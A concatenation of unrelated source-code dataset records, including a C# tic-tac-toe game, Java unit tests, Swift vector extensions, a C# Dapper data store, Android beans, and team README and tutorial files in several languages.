Console.WriteLine("Player 1 Wins!"); return false; } if (array[0, 2] == array[1, 2] && array[1, 2] == array[2, 2] && array[0, 2] == "X") { Console.WriteLine("Player 1 Wins!"); return false; } if (array[0, 0] == array[1, 1] && array[1, 1] == array[2, 2] && array[0, 0] == "X") //diagonal lines { Console.WriteLine("Player 1 Wins!"); return false; } if (array[0, 2] == array[1, 1] && array[1, 1] == array[2, 0] && array[0, 2] == "X") { Console.WriteLine("Player 1 Wins!"); return false; } //-------------- if (array[0, 0] == array[0, 1] && array[0, 1] == array[0, 2] && array[0, 0] == "O") //horizontal lines { Console.WriteLine("Player 2 Wins!"); return false; } if (array[1, 0] == array[1, 1] && array[1, 1] == array[1, 2] && array[1, 0] == "O") { Console.WriteLine("Player 2 Wins!"); return false; } if (array[2, 0] == array[2, 1] && array[2, 1] == array[2, 2] && array[2, 0] == "O") { Console.WriteLine("Player 2 Wins!"); return false; } if (array[0, 0] == array[1, 0] && array[1, 0] == array[2, 0] && array[0, 0] == "O") //vertical lines { Console.WriteLine("Player 2 Wins!"); return false; } if (array[0, 1] == array[1, 1] && array[1, 1] == array[2, 1] && array[0, 1] == "O") { Console.WriteLine("Player 2 Wins!"); return false; } if (array[0, 2] == array[1, 2] && array[1, 2] == array[2, 2] && array[0, 2] == "O") { Console.WriteLine("Player 2 Wins!"); return false; } if (array[0, 0] == array[1, 1] && array[1, 1] == array[2, 2] && array[0, 0] == "O") //diagonal lines { Console.WriteLine("Player 2 Wins!"); return false; } if (array[0, 2] == array[1, 1] && array[1, 1] == array[2, 0] && array[0, 2] == "O") { Console.WriteLine("Player 2 Wins!"); return false; } else { return true; } } static void Main(string[] args) { Program TicTacToe = new Program(); GameBoard activeBoard = new GameBoard(); activeBoard.GameArray = new string[3, 3] { { "0", "1", "2" }, { "3", "4", "5" }, { "6", "7", "8" } }; // initialize title screen TicTacToe.InitializeGame(); // initialize the players! Player playerOne = new Player(); Player playerTwo = new Player(); // prompt player 1 to enter name and set value for player 1's name Console.WriteLine("Player 1, please input your name then press enter..."); playerOne.Name = Console.ReadLine(); string name1 = playerOne.Name; // greet player 1 Console.WriteLine($"Greetings {name1}! Welcome to Noony's Tic Tac Toe Game!\n"); // prompt player 2 to enter name and set value for player 2's name Console.WriteLine("Player 2, please input your name then press enter..."); playerTwo.Name = Console.ReadLine(); string name2 = playerTwo.Name; // greet player 2 Console.WriteLine($"Greetings {name2}! Welcome to Noony's Tic Tac Toe Game!\n"); // prompt user to begin game Console.WriteLine("Press any key to begin."); Console.ReadLine(); // get user input Console.Clear(); // clear screen // Step - initialize game TicTacToe.DisplayBoard(activeBoard.GameArray); // display game board // game plays until winning condition is met while (true) { // Step - prompt Player 1 for input on number selection Console.WriteLine($"{playerOne.Name} make your selection! (enter the corresponding digit and press enter)\n"); // Step - get player's input and place marker on game board int input1 = Convert.ToInt32(Console.ReadLine()); if (input1 >= 0 && input1 <= 8) { try { switch (input1) { case 0: activeBoard.GameArray.SetValue("O", 0, 0); break; case 1: activeBoard.GameArray.SetValue("O", 0, 1); break; case 2: activeBoard.GameArray.SetValue("O", 0, 2); break; case 3: activeBoard.GameArray.SetValue("O", 1, 0); break; case 4: activeBoard.GameArray.SetValue("O", 1, 1); break; case 5: activeBoard.GameArray.SetValue("O", 1, 2); break; case 6: activeBoard.GameArray.SetValue("O", 2, 0); break; case 7: activeBoard.GameArray.SetValue("O", 2, 1); break; case 8: activeBoard.GameArray.SetValue("O", 2, 2); break; default: break; } } catch (Exception e) { Console.WriteLine($"{e} error"); } Console.Clear(); // clear the board TicTacToe.DisplayBoard(activeBoard.GameArray); // update the board TicTacToe.WinCheck(activeBoard.GameArray); // check for winning condition } else { return; } // Step - prompt Player 2 for input on number selection Console.WriteLine($"{playerTwo.Name} make your selection! (enter the corresponding digit and press enter)\n"); // Step - get player's input and place marker on game board int input2 = Convert.ToInt32(Console.ReadLine()); if (input2 >= 0 && input2 <= 8) { try { switch (input2) { case 0: activeBoard.GameArray.SetValue("X", 0, 0); break; case 1: activeBoard.GameArray.SetValue("X", 0, 1); break; case 2: activeBoard.GameArray.SetValue("X", 0, 2); break; case 3: activeBoard.GameArray.SetValue("X", 1, 0); break; case 4: activeBoard.GameArray.SetValue("X", 1, 1); break; case 5: activeBoard.GameArray.SetValue("X", 1, 2); break; case 6: activeBoard.GameArray.SetValue("X", 2, 0); break; case 7: activeBoard.GameArray.SetValue("X", 2, 1); break; case 8: activeBoard.GameArray.SetValue("X", 2, 2); break; default: break; } Console.Clear(); // clear the board TicTacToe.DisplayBoard(activeBoard.GameArray); // update the board TicTacToe.WinCheck(activeBoard.GameArray); // check for winning condition } catch (Exception e) { Console.WriteLine($"{e} error"); } } else { return; } } // end While(true) } /* // Step - increment turnCount turnCount++; // Step - display game board // Step - evaluate game conditions (continue or win) WinCheck(currentArray); // Step - change the turn Console.WriteLine($" Player 2 make your selection! (enter the corresponding digit and press enter)\n"); // Step - update and display game board input = Convert.ToInt32(Console.ReadLine()); switch(input) { case 0: gameArray[0,0] = "O"; break; case 1: gameArray[0,1] = "O"; break; case 2: gameArray[0,2] = "O"; break; case 3: gameArray[1,0] = "O"; break; case 4: gameArray[1,1] = "O"; break; case 5: gameArray[1,2] = "O"; break; case 6: gameArray[2,0] = "O"; break; case 7: gameArray[2,1] = "O"; break; case 8: gameArray[2,2] = "O"; break; default: break; } // Step - increment turnCount turnCount++; // Step - display game board // Step - evaluate game conditions (continue, win or draw) WinCheck(activeBoard); } // Step - user 2 turn // Step - announce winner and update score tally // Step - ask users to play again (if no, exit game) (if yes, restart game) // Step 10: exit or restart game } */ } }
Python
UTF-8
1,104
2.984375
3
[]
no_license
def sort_index_file(): index_file = open("Sorted_Index.csv" , "w") for i in range(1000000): temp = '{0}'.format(str(i).zfill(6)) index_file.write(str(temp)) index_file.write(" \n") index_file.close() for i in range(1000000): line = a.readline().split() rno = int(line[0]) def linear_search(roll_no, index_file_pointer): a = open("Index.csv", "r") seek_index = 0 for i in range(1000000): line = a.readline().split() rno = int(line[0]) # print(rno) if rno == roll_no: records = open("All_Uniform_records.csv", "r") records.seek(int(line[1])) index_file_pointer.write(str(seek_index)) break seek_index += 16 a.seek(seek_index) records.close() a.close() def sort_index_file(): for i in range(1000000): index_file = open("Sorted_Index.csv" , "w") index_file.write(str(i)) index_file.write(" ") linear_search(i, index_file) index_file.write("\n") index_file.close() sort_index_file()
Java
UTF-8
4,578
2.59375
3
[]
no_license
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package pl.mdziedzic.nokiatask.files; import java.io.File; import java.io.IOException; import java.nio.file.Path; import java.nio.file.Paths; import java.nio.file.attribute.BasicFileAttributes; import java.util.List; import org.junit.Before; import org.junit.Test; import static org.junit.Assert.*; import org.junit.Rule; import org.junit.rules.TemporaryFolder; import pl.mdziedzic.nokiatask.common.Directory; /** * * @author micha */ public class FileExtensionFinderTest { private final String xml = "xml"; private final BasicFileAttributes fileAttributes = null; private FileExtensionFinder testInstance; private Path sourcePath; @Rule public TemporaryFolder temporaryFolder = new TemporaryFolder(); @Before public void setUp() { testInstance = new FileExtensionFinder(xml); } @Test public void shouldThrowNullPointerExceptionIfFileIsNullWhenFileFailed() throws Exception { //given sourcePath = null; // when - then try{ testInstance.visitFileFailed(sourcePath, new IOException()); }catch(Exception exception){ assertTrue(exception instanceof NullPointerException); } } @Test public void shouldThrowIOExceptionWhenFileFailed() throws Exception { //given sourcePath = Paths.get("xyz"); // when - then try{ testInstance.visitFileFailed(sourcePath, new IOException()); }catch(Exception exception){ assertTrue(exception instanceof IOException); } } @Test public void pathShouldExists() { //given sourcePath = Paths.get(temporaryFolder.getRoot().getAbsolutePath()); //when boolean result = FileExtensionFinder.isPathExists(sourcePath); //then assertEquals(true, result); } @Test public void shouldAddCurrentDirectoryWhenPreVisitCorrectPath() throws Exception { //given sourcePath = Paths.get(temporaryFolder.getRoot().getAbsolutePath()); //when testInstance.preVisitDirectory(sourcePath, fileAttributes); int elementsCount = testInstance.getDirectories().size(); //then assertEquals(1, elementsCount); } @Test (expected = Exception.class) public void shouldThrowExceptionWhenPreVisitDirectoryIncorrectPath() throws Exception { //given sourcePath = null; //when testInstance.preVisitDirectory(sourcePath, fileAttributes); int elementsCount = testInstance.getDirectories().size(); //then assertEquals(1, elementsCount); } @Test public void shouldAddXMLFileToListToProperDirectory() throws Exception { //given List<Directory> directories = testInstance.getDirectories(); File tempFile = temporaryFolder.newFile("file.xml"); sourcePath = Paths.get(tempFile.getAbsolutePath()); directories.add(new Directory("someDirectory", "someFolder")); directories.add(new Directory(temporaryFolder.getRoot().getAbsolutePath(), "someFolder")); //when testInstance.visitFile(sourcePath, fileAttributes); //then Directory directoryWithoutXML = directories.get(0); Directory directoryContainingXML = directories.get(1); int xmlFilesQuantity = directoryWithoutXML.getFileNames().size(); assertEquals(0, xmlFilesQuantity); xmlFilesQuantity = directoryContainingXML.getFileNames().size(); assertEquals(1, xmlFilesQuantity); } @Test public void shouldNOTAddFileWithDifferentExtension() throws Exception { //given List<Directory> directories = testInstance.getDirectories(); File tempFile = temporaryFolder.newFile("filexml.txt"); sourcePath = Paths.get(tempFile.getAbsolutePath()); directories.add(new Directory(temporaryFolder.getRoot().getAbsolutePath(), "someFolder")); //when testInstance.visitFile(sourcePath, fileAttributes); //then Directory currentDirectory = directories.get(0); int xmlFilesQuantity = currentDirectory.getFileNames().size(); assertEquals(0, xmlFilesQuantity); } }
Markdown
UTF-8
1,603
2.9375
3
[]
no_license
# LongYourDog ## Dev readme: To clone this project: git clone https://github.com/SeijiEmery/LongYourDog.git cd LongYourDog git checkout <your-branch> ### Active dev branches: level-geometry-prototype (Erwang) interaction-prototype (Jack) movement-prototype (Seiji) world-map (Casey) ### Only work in your respective unity scene and branch! LevelGeometryTestbed (Erwang) InteractionMechnicsTestbed (Jack) MovementTestbed (Seiji) World-Map (Casey) Any work in any other scene WILL be nuked when we merge. Note: we're using different scenes b/c git is terrible at handling merges / collaboration in general between people working on the same scene. We don't have to all use the same scene for prototyping, ergo we won't. We can use prefabs + scripts to share stuff and will just work in our own scenes to build out stuff + mechanics. Thanks! -Seiji ### Pull requests When you're done go to this git repo (on the web) and click 'Open new pull request'. See [https://www.digitalocean.com/community/tutorials/how-to-create-a-pull-request-on-github](for details) You should ONLY ever work in / commit changes to your branch. Changes made to any other branch, including master (the default) will be nuked / reverted. I'm putting in this policy so our dev process will be less painful. I can talk about git and branching in more detail at our next meeting; in the meantime see the digital ocean tutorial above, which (I think) explains feature branches + pull requests, which is the model we'll be using for development.
Markdown
UTF-8
798
3.921875
4
[]
no_license
# adjacentElementsProduct Given an array of integers, find the pair of adjacent elements that has the largest product and return that product. Example For inputArray = [3, 6, -2, -5, 7, 3], the output should be adjacentElementsProduct(inputArray) = 21. 7 and 3 produce the largest product. Input/Output [execution time limit] 4 seconds (go) [input] array.integer inputArray An array of integers containing at least two elements. Guaranteed constraints: 2 ≤ inputArray.length ≤ 10, -1000 ≤ inputArray[i] ≤ 1000. [output] integer The largest product of adjacent elements. [Go] Syntax Tips // Prints help message to the console // Returns a string func helloWorld(name string) string { fmt.Printf("This prints to the console when you Run Tests"); return "Hello, " + name; }
Java
UTF-8
7,424
2.3125
2
[]
no_license
package com.android.app.buystoreapp.bean; import java.io.Serializable; import java.util.List; /** * Created by 尚帅波 on 2016/10/15. */ public class ProductBean implements Serializable { private static final long serialVersionUID = -952689659712346654L; /** * gpbpsList : [{"mgList":[{"moreGroId":"117","moreGroName":"银色iphone70","moreGroPrice":455, * "moreGroSurplus":4,"moreGroUnit":"元","proId":"AK1XleRXMqaO6RQn"}],"proCoverImag":"", * "proId":"S3is87jdf69Mid83","proName":"女款上衣","proSale":0,"proSeeNum":10,"proStatus":1, * "proSurplus":0}] * result : 0 * resultNote : 成功 */ private String result; private String resultNote; private int refreshCount; //剩余刷新次数 (int类型) private int remainingRecommended; //剩余推荐次数 (int类型) private int ifRecommend; //是否可以推荐:0不嫩,1可以 (int类型) /** * mgList : [{"moreGroId":"117","moreGroName":"银色iphone70","moreGroPrice":455, * "moreGroSurplus":4,"moreGroUnit":"元","proId":"AK1XleRXMqaO6RQn"}] * proCoverImag : * proId : S3is87jdf69Mid83 * proName : 女款上衣 * proSale : 0 * proSeeNum : 10 * proStatus : 1 * proSurplus : 0 * productPrice": "13~80" //价格区间 */ private List<GpbpsListBean> gpbpsList; public String getResult() { return result; } public void setResult(String result) { this.result = result; } public String getResultNote() { return resultNote; } public void setResultNote(String resultNote) { this.resultNote = resultNote; } public int getRefreshCount() { return refreshCount; } public void setRefreshCount(int refreshCount) { this.refreshCount = refreshCount; } public int getRemainingRecommended() { return remainingRecommended; } public void setRemainingRecommended(int remainingRecommended) { this.remainingRecommended = remainingRecommended; } public int getIfRecommend() { return ifRecommend; } public void setIfRecommend(int ifRecommend) { this.ifRecommend = ifRecommend; } public List<GpbpsListBean> getGpbpsList() { return gpbpsList; } public void setGpbpsList(List<GpbpsListBean> gpbpsList) { this.gpbpsList = gpbpsList; } public static class GpbpsListBean implements Serializable{ private static final long serialVersionUID = -7010627748781277840L; private String mage; private String userId; private String proCoverImag; private String proId; private String proName; private int proSale; private int proSeeNum; private int proStatus; private int proSurplus; private int remainingRefresh; private String productPrice; private int isRecommend; //推荐状态:0未推荐,1申请推荐,2首页推荐,3轮播图推荐 /** * moreGroId : 117 * moreGroName : 银色iphone70 * moreGroPrice : 455 * moreGroSurplus : 4 * moreGroUnit : 元 * proId : AK1XleRXMqaO6RQn */ private List<MgListBean> mgList; public String getMage() { return mage; } public void setMage(String mage) { this.mage = mage; } public String getUserId() { return userId; } public void setUserId(String userId) { this.userId = userId; } public int getRemainingRefresh() { return remainingRefresh; } public void setRemainingRefresh(int remainingRefresh) { this.remainingRefresh = remainingRefresh; } public String getProCoverImag() { return proCoverImag; } public void setProCoverImag(String proCoverImag) { this.proCoverImag = proCoverImag; } public String getProId() { return proId; } public void setProId(String proId) { this.proId = proId; } public String getProName() { return proName; } public void setProName(String proName) { this.proName = proName; } public int getProSale() { return proSale; } public void setProSale(int proSale) { this.proSale = proSale; } public int getProSeeNum() { return proSeeNum; } public void setProSeeNum(int proSeeNum) { this.proSeeNum = proSeeNum; } public int getProStatus() { return proStatus; } public void setProStatus(int proStatus) { this.proStatus = proStatus; } public int getProSurplus() { return proSurplus; } public void setProSurplus(int proSurplus) { this.proSurplus = proSurplus; } public String getProductPrice() { return productPrice; } public void setProductPrice(String productPrice) { this.productPrice = productPrice; } public int getIsRecommend() { return isRecommend; } public void setIsRecommend(int isRecommend) { this.isRecommend = isRecommend; } public List<MgListBean> getMgList() { return mgList; } public void setMgList(List<MgListBean> mgList) { this.mgList = mgList; } public static class MgListBean implements Serializable{ private static final long serialVersionUID = -4655408551071786377L; private String moreGroId; private String moreGroName; private double moreGroPrice; private int moreGroSurplus; private String moreGroUnit; private String proId; public String getMoreGroId() { return moreGroId; } public void setMoreGroId(String moreGroId) { this.moreGroId = moreGroId; } public String getMoreGroName() { return moreGroName; } public void setMoreGroName(String moreGroName) { this.moreGroName = moreGroName; } public double getMoreGroPrice() { return moreGroPrice; } public void setMoreGroPrice(double moreGroPrice) { this.moreGroPrice = moreGroPrice; } public int getMoreGroSurplus() { return moreGroSurplus; } public void setMoreGroSurplus(int moreGroSurplus) { this.moreGroSurplus = moreGroSurplus; } public String getMoreGroUnit() { return moreGroUnit; } public void setMoreGroUnit(String moreGroUnit) { this.moreGroUnit = moreGroUnit; } public String getProId() { return proId; } public void setProId(String proId) { this.proId = proId; } } } }
Markdown
UTF-8
2,151
3
3
[ "MIT" ]
permissive
--- name: Extending Component permalink: '/guide/extending-component' --- # Extending Component Bazı projelerde component ek işlevsellik ile extend etmek istenebilir. Javascript'te inheritance'ın değeri hakkında farklı görüşler vardır, ancak tüm component'lerin devralındığı kendi "base class" ınızı oluşturmak isterseniz, Preact ihtiyacınızı karşılar. Belki Flux benzeri bir mimaride store/reductor'lara otomatik bağlantı yapmak istersiniz. Belki de daha fazla `React.createClass()` gibi hissettirmesi için property-based mixin'ler eklemek isteyebilirsiniz _(not: [`@bind` decorator](https://github.com/developit/decko#bind) tercih edilir)_. Her durumda, Preact'ın `Component` class'ını extend etmek için ES2015 class inheritance'ını kullanın: ```js class BoundComponent extends Component { // example: get bound methods binds() { let list = this.bind || [], binds = this._binds; if (!binds) { binds = this._binds = {}; for (let i=list.length; i--; ) { binds[list[i]] = this[list[i]].bind(this); } } return binds; } } ``` Örnek Kullanım: ```js class Link extends BoundComponent { bind = ['click']; click() { open(this.props.href); } render({ children }) { let { click } = this.binds(); return <span onClick={ click }>{ children }</span>; } } render( <Link href="http://example.com">Bana Tıkla</Link>, document.body ); ``` İmkanlar sonsuzdur. İşte, temel olmayan mixin'leri destekleyen extend edilmiş bir `Component` sınıfı: ```js class MixedComponent extends Component { constructor() { super(); (this.mixins || []).forEach( m => Object.assign(this, m) ); } } ``` --- > **Dipnot:** Inheritance'ın sizi kırılgan parent-child ilişkilerine kilitleyebileceğini belirtmek gerekir. Çoğu zaman inheritance ile yeterince çözülebilen bir programlama göreviyle karşı karşıya kaldığınızda böyle bir ilişkiyi yaratmaktan kaçının. Aynı amaca ulaşmak için daha işlevsel bir yol mutlaka vardır.
C#
UTF-8
3,625
2.671875
3
[]
no_license
using Dapper; using Pedagio.Cadastro.Application.Stores; using Pedagio.Cadastro.Data.Dto; using Pedagio.Cadastro.Domain; using System.Collections.Generic; using System.Data; using System.Linq; using System.Threading.Tasks; namespace Pedagio.Cadastro.Data { public class PassagemStore : IPassagemCommandStore, IPassagemQueryStore { private IDbConnection _dbConnection; public PassagemStore(IDbConnection dbConnection) { _dbConnection = dbConnection; } public Task<int> InserirAsync(Passagem passagem) { const string sql = @"insert into passagens (id_passagem, id_carro, momento, evasao) values (@Id, @IdCarro, @Momento, @Evasao); select last_insert_id();"; var dto = new PassagemDto(passagem); return _dbConnection.ExecuteScalarAsync<int>(sql, dto); } public async Task<bool> AtualizarAsync(Passagem passagem) { const string sql = @"update passagens set id_carro = @IdCarro, momento = @Momento, evasao = @Evasao where id_passagem = @Id"; var dto = new PassagemDto(passagem); var registrosAfetados = await _dbConnection.ExecuteAsync(sql, dto); return registrosAfetados == 1; } public async Task<bool> ExcluirAsync(int id) { const string sql = @"delete from passagens where id_passagem = @Id"; var registrosAfetados = await _dbConnection.ExecuteAsync(sql, new { Id = id }); return registrosAfetados == 1; } public async Task<Passagem> BuscarPorIdAsync(int id) { const string sql = @"select id_passagem as Id, id_carro as IdCarro, momento as Momento, evasao as Evasao from passagens where id_passagem = @Id"; var dto = await _dbConnection.QueryFirstOrDefaultAsync<PassagemDto>(sql, new { Id = id }); return dto?.ToPassagem(); } public async Task<IEnumerable<Passagem>> BuscarAsync(int skip=0, int take=int.MaxValue) { const string sql = @"select id_passagem as Id, id_carro as IdCarro, momento as Momento, evasao as Evasao from passagens limit @Skip, @Take"; var dtos = await _dbConnection.QueryAsync<PassagemDto>(sql, new { Skip = skip, Take = take }); return dtos.Select(d => d.ToPassagem()); } public async Task<IEnumerable<Passagem>> BuscarPorCarroAsync(int idCarro, System.DateTime inicio, System.DateTime fim) { const string sql = @"select id_passagem as Id, id_carro as IdCarro, momento as Momento, evasao as Evasao from passagens where id_carro = @IdCarro and momento >= @Inicio and momento < @Fim"; var dtos = await _dbConnection.QueryAsync<PassagemDto>(sql, new { IdCarro = idCarro, Inicio = inicio, Fim = fim }); return dtos.Select(d => d.ToPassagem()); } } }
C
UTF-8
378
2.9375
3
[]
no_license
/************************************************************************* > File Name: point.c > Author:jieni > Mail: > Created Time: 2020年10月13日 星期二 19时05分17秒 ************************************************************************/ #include <stdio.h> void fun(char *ch) { printf("%c\n", *ch); } int main() { char ch = 'b'; fun(&ch); }
Markdown
UTF-8
2,499
2.640625
3
[ "MIT" ]
permissive
# Github Desktop Client einrichten und verwenden Für Mac Os X und Window gibt es unter [https://desktop.github.com/](https://desktop.github.com/) einen kostenlosen Github Client. Damit können sehr einfach Projekte zwischen der Arduino Community oder andere Github Projekten mit den Dateien auf dem eigenen Rechner synchronisiert werden. Alternativ kann `git` auch als Service über das Terminal bedient werden. Ist der Github Desktop Client installiert, kann mit den folgenden Schritten eine lokale Kopie der Arduino Community angelegt werden. Diese Kopie kann anschließend bei Änderungen und Ergänzungen, die man gemacht hat, über den Github Desktop Client synchronisiert werden. ## Einen Git Account anlegen Unter http://github.com müssen Sie sich einen GitHub account anlegen. Dazu hinterlegen Sie eine Email Adresse und einen Usernamen. Der Standard Git Account ist kostenfrei. ## Einladung anfordern Ich muss Sie als `Collaborator` zur Arduino Community einladen. Das Repository ist nicht öffentlich zugänglich. 1. Schicken Sie mir dazu eine Email mit Ihrem Github Benutzernamen an `michael@zenbox.de`. (Das ist meine Github Emailadresse.) 2. Ich schicke Ihnen dann eine Einladung an die Emailadresse, die Sie bei Github angegeben haben. 3. Bestätigen Sie den Link in der Email. 4. Fertig. Sie sollten jetzt über `http://github.com/zenbox` auf das Repository Zugriff haben, wenn Sie bei Github mit Ihrem Benutzer eingeloggt sind. ## Kopie (Clone) des arduino-community Projektes auf dem eigenen Rechner anlegen Am einfachsten ist es, zur weiteren Bearbeitung das Repository auf den eigenen Rechner zu kopieren und bei Änderungen über den Github Desktop Client zu synchronisieren. 1. Im geöffneten Github Desktop Client Fenster befindet sich oben links ein Plus-Button. Er öffnet ein Menü, indem der Befehl `clone` ausgewählt wird. 2. Daraufhin öffnet sich die Liste der eigenen Repositories auf Git. hier sollte das arduino-community Repository aufgelistet werden. 3. Wählen Sie das Repository aus und weisen Sie ihm ein lokales Arbeitsverzeichnis zu. 4. Das Verzeichnis und seine Inhalte lassen sich wie gewohnt lokal bearbeiten. 5. Nach der Bearbeitung werden die Änderungen über den Github Desktop Client wieder mit dem Online Repository synchronisiert. Die Änderungen werden dort aufgeigt. **ACHTUNG! Synchronisieren Sie das Repository über den `Sync` Button oben rechts in der Software, um Änderungen von anderen zunächst auf den eigenen Rechner zu kopieren. **
Python
UTF-8
340
3.140625
3
[]
no_license
#!/usr/bin/env python from itertools import count def hasprop(n): if str(n)[0]!='1': return False reference = sorted(list(str(n))) return all(reference==sorted(list(str(n*mult))) for mult in range(2,7)) for n in count(): if n%100000==0: print 'Checking',n if hasprop(n): print n break
Java
UTF-8
188
1.578125
2
[]
no_license
package com.jzeen.travel.data.repository; import com.jzeen.travel.data.entity.VehiclePlan; public interface VehiclePlanRepository extends AdvancedJpaRepository<VehiclePlan, Integer> { }
JavaScript
UTF-8
610
2.796875
3
[]
no_license
function fortune() { prompt("Whats in store for you?"); } fortune(); const replies = [ "You will have a great day ", "Today avoid the metro", "The person to your left will become you business partner", "Buy a lotto ticket", "You will find love at the local Amtrak", "Dont quit your day job!", "Do something spontanious", "Your day will be full of suprises" ]; const randomGenerator = Math.floor(Math.random() * replies.length) % replies.length; if (replies != null) { alert(replies[randomGenerator]) } else if (replies = null) { console.log("have a good day") }
Python
UTF-8
430
3
3
[]
no_license
from re import sub def first(lines): seat_ids = [int(sub(r'B|R', '1', sub(r'F|L', '0', line)), 2) for line in lines] return max(seat_ids) def second(lines): seat_ids = [int(sub(r'B|R', '1', sub(r'F|L', '0', line)), 2) for line in lines] missing_seats = set(range(2 ** 10)) - set(seat_ids) return next(seat for seat in missing_seats if seat - 1 not in missing_seats and seat + 1 not in missing_seats)
Swift
UTF-8
6,305
3.171875
3
[ "MIT" ]
permissive
// // vector4.swift // vox.Force // // Created by Feng Yang on 2020/4/14. // Copyright © 2020 Feng Yang. All rights reserved. // import Foundation extension SIMD4 where Scalar:BinaryFloatingPoint{ /// Returns true if \p other is the same as this vector. func isEqual(other:SIMD4)->Bool { return x == other.x && y == other.y && z == other.z && w == other.w } /// Returns true if \p other is similar to this vector. /// - Parameters: /// - other: similar vector /// - epsilon: tolerance /// - Returns: isSimilar func isSimilar(other:SIMD4, epsilon:Scalar = Scalar.leastNonzeroMagnitude)->Bool{ return (abs(x - other.x) < epsilon) && (abs(y - other.y) < epsilon) && (abs(z - other.z) < epsilon) && (abs(w - other.w) < epsilon) } /// Returns the index of the dominant axis. /// - Returns: index var dominantAxis:size_t{ return (abs(x) > abs(y)) ? ((abs(x) > abs(z)) ? ((abs(x) > abs(w)) ? 0 : 3) : ((abs(z) > abs(w)) ? 2 : 3)) : ((abs(y) > abs(z)) ? ((abs(y) > abs(w)) ? 1 : 3) : ((abs(z) > abs(w)) ? 2 : 3)) } /// Returns the index of the subminant axis. /// - Returns: index var subminantAxis:size_t{ return (abs(x) < abs(y)) ? ((abs(x) < abs(z)) ? ((abs(x) < abs(w)) ? 0 : 3) : ((abs(z) < abs(w)) ? 2 : 3)) : ((abs(y) < abs(z)) ? ((abs(y) < abs(w)) ? 1 : 3) : ((abs(z) < abs(w)) ? 2 : 3)) } } extension SIMD4 : ZeroInit { func getKernelType()->KernelType { if Scalar.self == Float.self { return .float4 } else { return .unsupported } } } //MARK:- Float Extension extension SIMD4 where Scalar == Float { // MARK:- Basic setters /// Normalizes this vector. mutating func normalized(){ let l:Scalar = length(self) x /= l y /= l z /= l w /= l } // MARK:- Basic getters /// Returns the absolute minimum value among x and y. /// - Returns: absolute minimum of components var absmin:Scalar{ return Math.absmin(between:Math.absmin(between: x, and: y), and:Math.absmin(between: z, and: w)) } /// Returns the absolute maximum value among x and y. /// - Returns: absolute maximum of components var absmax:Scalar{ return Math.absmax(between:Math.absmax(between: x, and: y), and:Math.absmax(between: z, and: w)) } /// Returns the average of all the components. /// - Returns: average var avg:Scalar{ return (x + y + z + w) / 4 } } //MARK:- Double Extension extension SIMD4 where Scalar == Double { // MARK:- Basic setters /// Normalizes this vector. mutating func normalized(){ let l:Scalar = length(self) x /= l y /= l z /= l w /= l } // MARK:- Basic getters /// Returns the absolute minimum value among x and y. /// - Returns: absolute minimum of components var absmin:Scalar{ return Math.absmin(between:Math.absmin(between: x, and: y), and:Math.absmin(between: z, and: w)) } /// Returns the absolute maximum value among x and y. /// - Returns: absolute maximum of components var absmax:Scalar{ return Math.absmax(between:Math.absmax(between: x, and: y), and:Math.absmax(between: z, and: w)) } /// Returns the average of all the components. /// - Returns: average var avg:Scalar{ return (x + y + z + w) / 4 } } // MARK:- Utility Extensions func monotonicCatmullRom(v0:SIMD4<Float>, v1:SIMD4<Float>, v2:SIMD4<Float>, v3:SIMD4<Float>, f:Float)->SIMD4<Float>{ let two:Float = 2 let three:Float = 3 var d1 = (v2 - v0) / two var d2 = (v3 - v1) / two let D1 = v2 - v1 if (abs(D1.x) < Float.leastNonzeroMagnitude || sign(D1.x) != sign(d1.x) || sign(D1.x) != sign(d2.x)) { d1.x = 0 d2.x = 0 } if (abs(D1.y) < Float.leastNonzeroMagnitude || sign(D1.y) != sign(d1.y) || sign(D1.y) != sign(d2.y)) { d1.y = 0 d2.y = 0 } if (abs(D1.z) < Float.leastNonzeroMagnitude || sign(D1.z) != sign(d1.z) || sign(D1.z) != sign(d2.z)) { d1.z = 0 d2.z = 0 } if (abs(D1.w) < Float.leastNonzeroMagnitude || sign(D1.w) != sign(d1.w) || sign(D1.w) != sign(d2.w)) { d1.w = 0 d2.w = 0 } let a3 = d1 + d2 - two * D1 let a2 = three * D1 - two * d1 - d2 let a1 = d1 let a0 = v1 var result = a3 * Math.cubic(of:f) result += a2 * Math.square(of:f) result += a1 * f + a0 return result } func monotonicCatmullRom(v0:SIMD4<Double>, v1:SIMD4<Double>, v2:SIMD4<Double>, v3:SIMD4<Double>, f:Double)->SIMD4<Double>{ let two:Double = 2 let three:Double = 3 var d1 = (v2 - v0) / two var d2 = (v3 - v1) / two let D1 = v2 - v1 if (abs(D1.x) < Double.leastNonzeroMagnitude || sign(D1.x) != sign(d1.x) || sign(D1.x) != sign(d2.x)) { d1.x = 0 d2.x = 0 } if (abs(D1.y) < Double.leastNonzeroMagnitude || sign(D1.y) != sign(d1.y) || sign(D1.y) != sign(d2.y)) { d1.y = 0 d2.y = 0 } if (abs(D1.z) < Double.leastNonzeroMagnitude || sign(D1.z) != sign(d1.z) || sign(D1.z) != sign(d2.z)) { d1.z = 0 d2.z = 0 } if (abs(D1.w) < Double.leastNonzeroMagnitude || sign(D1.w) != sign(d1.w) || sign(D1.w) != sign(d2.w)) { d1.w = 0 d2.w = 0 } let a3 = d1 + d2 - two * D1 let a2 = three * D1 - two * d1 - d2 let a1 = d1 let a0 = v1 var result = a3 * Math.cubic(of:f) result += a2 * Math.square(of:f) result += a1 * f + a0 return result } typealias Vector4 = SIMD4 typealias Vector4F = SIMD4<Float> typealias Vector4D = SIMD4<Double>
C#
UTF-8
553
2.6875
3
[ "Apache-2.0", "LicenseRef-scancode-warranty-disclaimer" ]
permissive
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace JSNLog.Exceptions { public class SubTagHasTooManyAttributesException: BaseException { public SubTagHasTooManyAttributesException(string subTagName, string allowedAttributeName) : base(string.Format("Too many attributes - In web.config, you can have at most one attribute for the {0} tag. The only attribute allowed is {1}", subTagName, allowedAttributeName)) { } } }
JavaScript
UTF-8
1,025
2.78125
3
[]
no_license
